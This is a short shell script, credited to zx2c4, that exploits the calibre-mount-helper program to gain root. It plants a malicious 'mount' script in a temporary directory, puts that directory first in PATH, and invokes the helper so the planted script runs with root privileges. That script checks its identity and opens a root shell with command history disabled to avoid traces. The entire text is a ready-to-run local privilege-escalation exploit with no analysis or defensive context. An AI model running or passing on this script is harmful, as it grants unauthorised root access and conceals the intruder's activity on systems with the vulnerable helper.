set -e
echo "#######################################"
echo "#     .50-Calibrer Assault Mount      #"
echo "#              by zx2c4               #"
echo "#######################################"
echo
echo -n "[+] Making temporary directory: "
dir="$(mktemp -d)"
echo "$dir"
cd "$dir"
echo "[+] Making mount point."
mkdir mountpoint
echo "[+] Writing malicious mounter."
cat > mount <<END
#!/bin/sh
cd /
echo "[+] Cleaning up: $dir"
rm -rf "$dir"
echo -n "[+] Checking root: "
id
echo "[+] Launching shell."
HISTFILE="/dev/null" exec /bin/sh
END
chmod +x mount
echo "[+] Overriding PATH and getting root."
PATH=".:$PATH" calibre-mount-helper mount /dev/null mountpoint